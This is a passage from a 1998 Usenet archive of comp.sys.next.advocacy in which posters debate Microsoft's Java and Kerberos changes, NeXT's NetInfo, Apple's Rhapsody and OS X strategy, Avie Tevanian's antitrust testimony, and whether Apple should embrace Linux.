designed to let everybody benefit from their use. With Java,
Microsoft 'enhanced' the language in ways that deliberately made
it non-portable - despite the fact that Java's raison d'etre was
portability. With Kerberos, the designers ensured that vendors
and users could add proprietary extensions without breaking the
spec. What did Microsoft do? Needlessly ignore those avenues to
ensure that no Microsoft client could be served by a non-Microsoft
server.
The history of Microsoft 'innovation' is to take what it wants
from the world around it, modify it so that no one can use it
outside their own platform, and call it progress. Whether that
is illegal or not, it's not in the best interests of either
programmers or end-users.
--
___ ___ | James E. Quick jq@phcs.com
/ / / | Private HealthCare Systems NeXTMail O.K.
\_/ (_\/ | Systems Engineering Group (617) 895-3343
) | "I think not," said Rene Descartes. Then he vanished.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Wed, 04 Nov 1998 09:57:18 -0600
Organization: Ericsson North America Inc.
Message-ID: <3640795E.CF924665@ericsson.com>
References: <71l58n$oh5@newsb.netnews.att.com> <slrn73s78a.5lu.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com>
Mime-Version: 1.0
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"James E. Quick" wrote:
[cut]
> It's one of the reasons I have always loved NeXTStep. It's always
> been an environment of cooperation. One developer writes a neat
> piece of code - commercial or otherwise, and users of every other
> piece of code get to leverage it via services. Everyone wins. In
> a way it's an ethical operating system.
NetInfo? How does this figure into your assessment?
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Wed, 04 Nov 1998 09:53:25 -0600
Organization: Ericsson North America Inc.
Message-ID: <36407875.12F4C9E4@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
> Why? Is the need for innovative software going to evaporate?
>
> Are hoards of Linux blackshirts going to storm the gates of commercial
> software houses? (no pun intended)
>
> Apple is investing in YellowBox, I am very sure that it will grow and
> mature in the next few years.
Which is, of course, a very lame-duck thing to say. If you're wrong, who
will be around at that time to point it out to you? It's comforting to
make desperately hopeful predictions when your back is to the wall.
What's sickening is that such attitudes have actually contributed to
Apple's failures.
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
<71pvkk$ql@newsb.netnews.att.com>
Message-ID: <ZK%%1.13546$yb5.12124310@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 17:00:41 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 09:00:41 PDT
Organization: @Home Network
In <71pvkk$ql@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
> Rex Riley <rr6013@yahoo.com> wrote:
> >
> >I don't like the fact but at the highest levels of decision making,
Industry
> >bets on MS. A bet for good reason.
>
> An excellent article on the danger of going all MS, and that too,
> in a general circulation newspaper.
>
> http://cgi.chicago.tribune.com/1998/0,1710,3,00.html
>
> (A summary of the argument is that even if your company standardizes
> on MS, at some point, you will need to interoperate with customers,
> and then reliance on common,open standards will be crucial, because not
> all of them will be all-MS.)
>
>
I'll read the article later today... it sounds like the justification for
going MS in the first place. In my wildest dreams, Open standards would out
populate Windows!
-r
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Wed, 4 Nov 1998 10:05:47 -0800
Organization: University of British Columbia
Message-ID: <1dhyqan.1l6gu2lkk7wpeN@p004.intchg3.net.ubc.ca>
References: <71kj6v$f4j@shelob.afs.com> <363DDCD0.ED90035C@yahoo.com> <71ko1u$7u1@newsb.netnews.att.com> <B2633AF9-75F6@206.165.43.97> <71n2j4$6rv$1@pascal.a2000.nl> <cirby-0311980923530001@pm61-32.magicnet.net> <B2648E7A-39154@206.165.43.115> <ch3-0311981930160001@ip63.seattle13.wa.pub-ip.psi.net>
User-Agent: MacSOUP/2.4b3
CaHand <ch3@earthlink.net> wrote:
> Cyberdog was dead the day it was given that name.
Tell it like it is, CaHand. Now, Sherlock -- *there's* a name to conjure
with.
--
Bruce Bennett
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: 5 Nov 1998 07:24:40 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <71rjro$jfc$1@cronkite.cs.umd.edu>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <71j2fl$olf$1@crib.corepower.com>
NNTP-Posting-Date: 5 Nov 1998 07:24:40 GMT
Nathan Urban (nurban@crib.corepower.com) wrote:
> In article <71ctee$bob$1@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> > Using technology developed by NeXT in the early 90's, this cluster
> > of (about a dozen) G3 Servers cracked an encryption key "nearly as
> > complex as the DES-II" in just under a week, [...]
> > By way of comparison, this same effort took tens of thousands of
> > computers, networked over the Internet, nearly six weeks.
> > And apparently this machine breaks the laws of mathematics by
> > solving a fully distributed problem in, let's see, I think that's in the
> > magnitude of, um, carry the seven..., okay, ONE HUNDRED AND TWENTY SIX
> > THOUSAND TIMES FASTER than other computers "networked over the Internet",
> Where did you come up with that figure?
I came up with it by misreading the statement "eight hours each" as being
the time spent computing rather than the time spent out of service. Since
a week has 7*24=168 hours, I was off by a factor of 20. Which means that
Apple didn't find a way to be 8,000 times as fast, but instead 400 times
as fast. :-) Still *way* off base.
Sean
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <71kojh$b4s$1655@geraldo.cc.utexas.edu>
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Sender: your@email.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 19:03:35 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <F1vCu8.FKq@basil.icce.dev.rug.null.nl>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <363CE94C.437A392C@nstar.net> <71j6dk$ro4$1@supernews.com> <363D2DBF.9861F0D4@nstar.net> <71m4jp$fd8@news1.panix.com>
sal@panix.com (Sal Denaro) wrote:
> On Sun, 01 Nov 1998 21:57:51 -0600,
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >I still don't get your point. Rex said that Rhapsody *could* have been
> >an NT killer but for Apple's lack of focus, Sal said that it couldn't. I
>
> That is not what I said. I stated that I doubt that Apple could sell it
> as an NT killer, when you put Apple's current market, and Apple's
> reputation in the enterprise market into focus.
>
> >reasonably systematic way. The death of cloning doesn't mean anything to
> >me anymore, I assure; I just get a tiny amount of private satisfaction
> >from the see-saw effect.
>
> One would wonder what you are doing in CSNA.
Why, trolling of course.
(Darn, I fell for it again;-)
--Tom.
From: Michael <michael@iconics.co.uk>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.sys.amiga.advocacy
Subject: Re: OS Advocacy/Rating/Locating site
Date: Thu, 05 Nov 1998 12:58:41 +0000
Organization: Cable Internet (post doesn't reflect views of Cable Internet)
Message-ID: <3641A101.328A595E@iconics.co.uk>
References: <36404889.A2E4CB64@iconics.co.uk> <36447464.2739064@news-server> <71q4ro$n36$1@news.xmission.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 5 Nov 1998 13:05:06 GMT
Don Yacktman wrote:
>
> sdenbes1@san.rr.com (Steven C. Den Beste) wrote:
> > On Wed, 04 Nov 1998 12:28:57 +0000, Michael wrote this in jello with
> > a chisel:
> > > [...]
> > >http://www.oscounter.org
> >
> > Holy Cow! The *ULTIMATE* beauty contest poll!
> >
> > It's gonna have no meaning whatsoever, you realize, because it will
> > be a self-selected sample.
> >
> > Now let's all go stuff some ballot boxes! Vote early and vote often!
>
> The problem is that it doesn't allow a person to list more than one OS. I
> typically run six different OSes on a motley collection of different
> machines...so even those who try to vote "honestly" can't register a proper
> vote. Thus making the whole thing that much more bogus... :-P
>
Yup, I got your mail about that too {:-)
Its now fixed, I had the same problem myself but it hadnt irritated me enough
to fix it. However if someone else was bugged by it, I fixed it.
You can tell I dont work in redmond, right {:-)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 06:06:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71oqsc$gkb@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
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On Wed, 04 Nov 1998 04:14:11 GMT, Rex Riley <rr6013@yahoo.com> wrote:
>> >They don't have that long in this Java/Win/Linux market...
>> Why?
>In a word... momentum. Already behind MSWindows with MacOS, Apple should
>understand the precious asset wasting away in OSX. Just let the window of
>opportunity gap enough for JavaOS and/or Linux, Apple can witness DÝja vu,
>ala Windows, over again.
I don't disagree that this is a possibility, it happened once before.
Momentum is not guaranteed if Apple ships today. Or yesterday. Or if they
shipped in fall of '97. Momentum is much more likely to build if Apple
ships OSX Server with the right software to make it useful.
The worst thing Apple could do is turn this into another OS/2. A great OS
that lacked software and marketing.
>You're the CIO... you have to choose your technology platform for the next 5
>years. I just read the historical facts. Who you gonna bet your company
>on? Sun, MS, IBM, Apple? What are your undeniable facts to justify your
>position?
Today? Sun in the server room and NT on the desktop. Three years from now?
I don't know, but I hope that OSX will be a credible choice then.
As much as I like Rhapsody, I would not choose it as the technology platform
for my hypothetical company if it was available today. I probably would allow
it to be used on some internal projects. DR2 is being used that way in a
couple of companies.
>See... you really think Apple has 3-5 years to ramp-up their OSX product
>plan?
Do you think that they could ramp up in less than that? You can't just wave
a magic wand and grow a network of VARs and consultants or a library of 3rd
party apps. And without that infrastructure, you can not sell to that market.
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Thu, 5 Nov 1998 07:30:23 -0800
Organization: newsread.com ISP News Reading Service (http://www.newsread.com)
Message-ID: <71sgds$gdb@netaxs.com>
References: <71kj6v$f4j@shelob.afs.com>
Greg Anderson wrote in message <71kj6v$f4j@shelob.afs.com>...
>Those of us who come from the NEXTSTEP/OPENSTEP side had long suspected and
>pieced together tidbits of this story, but it's nice to see our paranoia
>validated. Here are paragraphs 17-20 of Avie's testimony introduced on
>Friday:
>
>BARRIERS TO COMPETITION IN THE OPERATING SYSTEM MARKET: APPLE'S EXPERIENCE
>WITH THE RHAPSODY OPERATING SYSTEM
>
>17. Apple's experience with its Rhapsody operating system illustrates how
>difficult it is to gain acceptance and support for a new operating system
in
>the face of Microsoft's monopoly of the operating system market. This
>experience shows that innovation and technical advantages may be
>insufficient to overcome the barriers imposed by Microsoft's domination of
>the operating system market.
Innovation and technical advantages are NEVER enough for a product
to be successful. You've got to know how to manufacture and market
the product. We'd all be running NextStep on 68XXX and 320XX platforms
and driving Audis if technical advantages and innovation sold product.
Very few people base their buying decisions on technical advantages
and innovation, just look at the top selling cars, Camry and Accord.
Apples experience with Rhapsody only illustrated that they don't know
how to design, manufacture, and market an innovative product
successfully. Microsoft takes an adequate product and markets it
successfully.
The world is full of innovative and technically better products that have
failed. Betamax, Minidisc, Elcassette, DAT, DVD video players (so far),
Star Workstation, Lisa, Newton, Win CE, etc. All were displaced by poorer
technology that was marketed better. Often the better technology had
a crucial flaw that did not offset its other advantages, or the existing
technology had such a head start that people weren't willing to change
(i.e. the Palm Pilot versus all the competing Win CE PDAs).
The Palm Pilot analogy is especially relevant to Apple vs. Microsoft.
WinCE is technically better than the PalmOS, but it has fewer applications,
poor market acceptance, the hardware costs more and has some serious
flaws in terms of important features that customers base buying decisions
on. Even though many of the features of WinCE are better that those of
the PalmOS, users feel that the PalmOS features are sufficient for their
needs and won't switch. Furthermore, the Palm Pilot hardware is more
competitively priced.
Let's visualize Microsoft's testimony against 3COM when the government
decides that 3COM unfairly competes in the PDA market because the PalmOS
has 95% of the handheld PDA market.
'Microsoft's experience with its Win CE operating system illustrates how
difficult it is to gain acceptance and support for a new operating system
in the face of 3COMs monopoly of the PDA operating systems market. This
experience shows that innovation and technical advantages may be
insufficient
to overcome the barriers imposed by 3COMs domination of the PDA operating
system market.'
If the best the government can do is to complain that innovation and
technological advantages can't overcome Microsofts marketing, then
they ought to throw in the towel right now. What a bunch of whining
cry-babies. They sound like Republicans.
Steve
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Message-ID: <edewF1x7Jx.Jsx@netcom.com>
Sender: edew@netcom2.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <cirby-0311981225280001@pm61-13.magicnet.net> <1dhx9ra.ga26bc1hq6zluN@roxboro0-024.dyn.interpath.net> <gdwarnernyet-0411980558010001@mg-20664222-26.ricochet.net>
Date: Wed, 4 Nov 1998 23:21:32 GMT
In article <gdwarnernyet-0411980558010001@mg-20664222-26.ricochet.net> gdwarnernyet@ricochet.net (Glen Warner) writes:
>In article <1dhx9ra.ga26bc1hq6zluN@roxboro0-024.dyn.interpath.net>,
>phenix@interpath.com (John Moreno) wrote:
>
>(*snip*)
>
>> Yeah, but at least with MS if you get it out soon enough and gain a
>> large enough market share you can hope to be bought out instead of just
>> abandoned.
>>
>> --
>> John Moreno
>
>I dunno ... I seem to remember reading of some small developer attempting
>to sell his program to Microsoft and a Microsoftie, looking at the source
>code, said "Hmmmm ... this is pretty simple. We'll just write our own and
>crush you."
>
Well, that sounds stupid. No developer should demonstrate his or her
program by showing off the source code. Shouldn't even demonstrate all
functionality, if that's possible.
EDEW
Newsgroups: comp.sys.next.advocacy,gnu.gnustep.discuss,gnu.misc.discuss
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: cbbrowne@news.hex.net
Organization: needs one
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com>
<1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net>
<F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl>
<F1x2zp.Hup@T-FCN.Net> <71rh43$sp$15@blue.hex.net>
Mime-Version: 1.0
Date: Thu, 5 Nov 1998 16:05:18 GMT
In <71rh43$sp$15@blue.hex.net> Christopher Browne wrote:
>> "There's this kid in England with a brain tumour who wants to receive
> cards..."
:-)
Best one I've seen recently was one telling everyone to dress up in ape
suits when Glenn lands.
> There's a mailing list or two; see the URL below for many relevant Hurd
> links...
I tride the URL, but I get a 404? Oh wait, nope, my fault.
Maury
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Thu, 05 Nov 1998 10:26:35 -0600
Organization: Ericsson North America Inc.
Message-ID: <3641D1BB.87B4A728@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <3640DCAA.9E8FC69C@ericsson.com> <71r4q3$phq$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> Satisfied, Mike? Or is it time for some rabies shots?
Mighty, aren't you calling the kettle black? You asked a very loaded and
challenging question; you should have evened the playing field
first...if you had integrity, that is.
I'm not surprised that you took offense; after all, it was a direct
challenge to the insulting question you asked. What surprises me is what
you took offense at:
<quote>
You should have noted that I never claimed such experience, nor did I
claim to
know some irrefutable "fact" about "the highest levels of decision
making".
</quote>
What in the world does this have to do with your question? I don't care
what you *didn't* claim; that you didn't claim *anything* is the whole
problem. Before you ask belittling and loaded questions of opponents you
should at least have the good grace to position yourself so it's clear
that you're about to "pull rank", so to speak, using your background as
a battering ram against future discussion.
MJP
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor: business solutions
Date: Thu, 05 Nov 1998 17:16:30 GMT
Organization: Airnews.net! at Internet America
Message-ID: <C32188FB89786AB6.93E28EC57CDD098C.628737075F9259DA@library-proxy.airnews.net>
References: <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu> <adtF1v5q2.K8I@netcom.com> <6F67F672E3346914.117F6585BE7B2CAB.2ABD1BFAF772578C@library-proxy.airnews.net> <adtF1vxzG.J4o@netcom.com>
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On Wed, 4 Nov 1998 06:57:16 GMT, adt@netcom.com (Anthony D. Tribelli)
wrote:
>I guess my point is that a credible consumer GUI for Linux and a complete
>set of configuration tools that hide the "ugly details" from novices isn't
>going to happen any time soon. That such a Linux would not appear before
>Rhapsody. Also, such a "friendly" Linux would undercut and severely
>devalue Rhapsody.
That's why maybe Apple should ditch Rhapsody and create it's own
distribution.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 5 Nov 1998 11:58:47 -0500
Organization: Quick and Associates
Message-ID: <71slg7$buk@papoose.quick.com>
References: <71l58n$oh5@newsb.netnews.att.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com>
In article <3640DBD9.17D3332F@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>"James E. Quick" wrote:
>
>[brief history cut]
>
>> Yes, NeXT did innovate. They created something new which added
>> value for the administrators.
>
>Here's a short lesson in what some call "spin doctoring". Take the above
>quote and compare it to the following:
>
>"The history of Microsoft 'innovation' is to take what it wants from the
>world around it, modify it so that no one can use it outside their own
>platform, and call it progress."
>
>Now, notice that there is actually no difference in the implications
>involved. However, the tone is quite obviously very different, enough so
>that the casual reader might mistake them for two very different
>statements.
>
>At any rate, if the only difference is that you like one and don't like
>the other, why didn't you just say so? There's no point in spinning this
>elaborate case out of nowhere. You're trying to make a distinction that
>doesn't exist apart from the realm of the subjective.
There is a significant difference, I'll try one more time to show
you what that is.
In each case that I cited, Microsoft took publicly documented standards
and modified them in such ways that were detrimental to users.
In the case of Java, core functionality of the environement was changed
in ways that contravened the specification published by Sun. The changes
ensured that even developers who did not deviate from the original spec
would produce software that worked differently on Microsoft OSes than it
did anywhere else. This ensured that developers who originally wrote
using Microsoft tools would have to do additional work to port and test
the code when deploying in non Microsoft environments and vice versa.
The whole point of Java was to have a portable environment which was the
same everywhere. Microsoft actions were a deliberate attempt to lock
Microsoft customers into the environment, and to lock non-Microsoft
customers out.
In the case of Kerberos, the Kerberos5 spec clearly documents how to
add new functionality. If Microsoft stuck to the specification
all non-Microsoft clients could talk to Microsoft servers, and all
Microsoft clients could to talk to non-Microsoft servers. By
deviating from the spec they needlessly limit the ways in which
users and administrators can deploy the technology.
The whole point of Kerberos is to provide platform independant,
secure, authentication services.
In each case Microsoft took a publicly available standard, and
deliberately modified it for the sole purpose of limiting its
usefulness. In each case they tooks steps to ensure that users
would only get good results if they used Microsoft tools on
both the client and server (or development tool) ends. In fact
for Kerberos they are trying to ensure that clients can only use it
*at all* if they use Microsoft servers.
In the case of Netinfo, NeXT developed a new administration tool
which could coexist with all public standards for administration.
Netinfo could rely on non-NeXT servers or imported flat files for
any configuration past the first few minimal items needed at install
time. Non-NeXT clients could also use standard services from NeXT
servers, and could even be fed information maintained in NetInfo
servers via either flat files or (later) Xedoc's third party ports
of Netinfo running on other Unices. Though in 3.3 one could
not disable the netinfo server (one can in 4.x).
You claimed that I made an elaborate case out of nowhere, and that
my complaint was purely subjective. I've laid out the objective
facts above to support my case. Please respond with an objective
argument for how Microsoft's actions in these two cases are beneficial
to anyone but Microsoft itself. Show also how NeXTs creation of
Netinfo degraded functionality for any non-NeXT client or server
in a mixed environment.
--
___ ___ | James E. Quick jq@phcs.com
/ / / | Private HealthCare Systems NeXTMail O.K.
\_/ (_\/ | Systems Engineering Group (617) 895-3343
) | "I think not," said Rene Descartes. Then he vanished.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Dilemma
Newsgroups: comp.sys.next.advocacy
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com> <71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com> <71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com> <71qtlr$9sl@news1.panix.com> <9Zb02.13666$yb5.12475178@news.rdc1.sdca.home.com>
Message-ID: <3641e5c6.0@news.depaul.edu>
Date: 5 Nov 98 17:52:06 GMT
Rex Riley <rr6013@yahoo.com> wrote:
> In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> > On Wed, 04 Nov 1998 07:04:46 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> > >> >See... you really think Apple has 3-5 years to ramp-up their OSX
> product
> > >> >plan?
> > >> Do you think that they could ramp up in less than that?
> > >Yeah!
> >
> > How?
> >
> >
> The size of the task ahead of Apple outstrips its resources and scale of
> enterprise. First Apple addresses "scale". It gets a big brother. It
> partners with Sony - the Mac is back, BIG. Sony scales Apple's mfg,
> marketing and operations. Apple extends Sony's consumer devices into
> computational software/hardware (ala Playstation?).
Ala the Data Discman? Oops, that didn't sell.
Ala the MiniDisc? Oops, that didn't sell.
Ala Betamax? Oops, that didn't sell.
Ala their overpriced-underfeatured VAIO PC's? Isn't that the
mistake Apple's trying to recover from?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-dKIZ6e1dQ0pZ@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor: business solutions
References: <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu> <adtF1v5q2.K8I@netcom.com> <6F67F672E3346914.117F6585BE7B2CAB.2ABD1BFAF772578C@library-proxy.airnews.net> <adtF1vxzG.J4o@netcom.com>
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Date: 5 Nov 1998 18:17:31 GMT
Organization: IBM.NET
On Wed, 4 Nov 1998 06:57:16, adt@netcom.com (Anthony D. Tribelli)
thought aloud:
> Sheldon Gartner (a1050pi@yahoo.com) wrote:
[cut to one issue]
> : Apple can't afford to dither while Linux grows up. It needs to produce
> : its own distributuion that is REALLY easy to install (even easier than
> : Red Hat) even on old PCs.
> :
> : They could make a mint off of service alone.
>
> I guess my point is that a credible consumer GUI for Linux and a complete
> set of configuration tools that hide the "ugly details" from novices isn't
> going to happen any time soon. That such a Linux would not appear before
> Rhapsody.
I would lean towards "adding value to Linux" camp. Think "DOS" in
early nineties, with "DOS" being Linux this time around (with solid
foundation of course) and without one corporation owning it. It _will_
become big, and those who have the most attractive value-adding
offerings to it will have best seats to ride the train.
Perhaps an Apple-specific distro wouldn't be ideal as it could be
perceived as fragmenting the market. Since the core Linux components
are cooperatively managed Apple could build a separately installable
cross-Linux compatible add-on package (YB, QTML, ??) that could be
both sold separately and bundled with the major distros too.
> Also, such a "friendly" Linux would undercut and severely
> devalue Rhapsody.
Minimize threats but concentrate on opportunities; Rhap OS X would
still offer a more advanced and regulated experience for a little
higher price tag but at least it would be on users' radars. Businesses
and "demanding" individuals would find, if properly marketed, the
value-added services and support worth the price. I would consider
such scenario better and easier for Apple than if they'd have to
position Rhap OS X as a simple Macintosh OS (limited market in itself)
or a direct standalone competitior to other high end proprietary
Unices and Microsoft Windows two-oh-oh-oh. Apple should play the Linux
card to the fullest instead of simply fighting it (the windmills?).
Apple never had DOS commonality to build their markets on but with
Linux they could try emulating the DOS/Win3 (low) - NT/win32 (high)
strategy on an open playground. Rhap OS X (enterprise edition?) would
therefore need Linux-binary compatibility (for .rpm's and .deb's)
I would be very interested in hearing Avie's take on these issues.
Brgds,
--
taiQ
[this space is intentionally blank]
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Thu, 5 Nov 1998 10:34:26 -0800
Organization: University of British Columbia
Message-ID: <1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca>
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com>
User-Agent: MacSOUP/2.4b3
Steven M. Scharf <scharf@grin.net> wrote:
> 'Microsoft's experience with its Win CE operating system illustrates how
> difficult it is to gain acceptance and support for a new operating system
> in the face of 3COMs monopoly of the PDA operating systems market. This
> experience shows that innovation and technical advantages may be
> insufficient
> to overcome the barriers imposed by 3COMs domination of the PDA operating
> system market.'
Heh. A good argument, which will become almost credible when WinCE shows
signs of innovation and (above all) technical advantages.
For real credibility, though, we'll need to see 3COM pushing a strategy
of "PalmOS Everywhere", and to believe that it just might succeed.
--
Bruce Bennett
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Thu, 5 Nov 1998 14:11:38 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <71stao$g0@shelob.afs.com>
References: <71kj6v$f4j@shelob.afs.com> <71sgds$gdb@netaxs.com> <1di0nr8.1ar7dvtsb96oN@p044.intchg2.net.ubc.ca>
Bruce Bennett wrote:
>Steven M. Scharf <scharf@grin.net> wrote:
>
>> 'Microsoft's experience with its Win CE operating system illustrates how
>> difficult it is to gain acceptance and support for a new operating system
>> in the face of 3COMs monopoly of the PDA operating systems market. This
>> experience shows that innovation and technical advantages may be
>> insufficient to overcome the barriers imposed by 3COMs domination
>> of the PDA operating system market.'
>
>Heh. A good argument, which will become almost credible when WinCE shows
>signs of innovation and (above all) technical advantages.
Not to mention, no one is accusing 3Com of refusing to ship Pilots to stores
that also carry WinCE devices, or any other anti-competitive actions. I knew
the original message was a troll when the poster argued that WinCE *is*
technically superior to PalmOS.
Greg
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
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<3641e5c6.0@news.depaul.edu>
Message-ID: <Gno02.13704$yb5.12801858@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 21:02:30 GMT
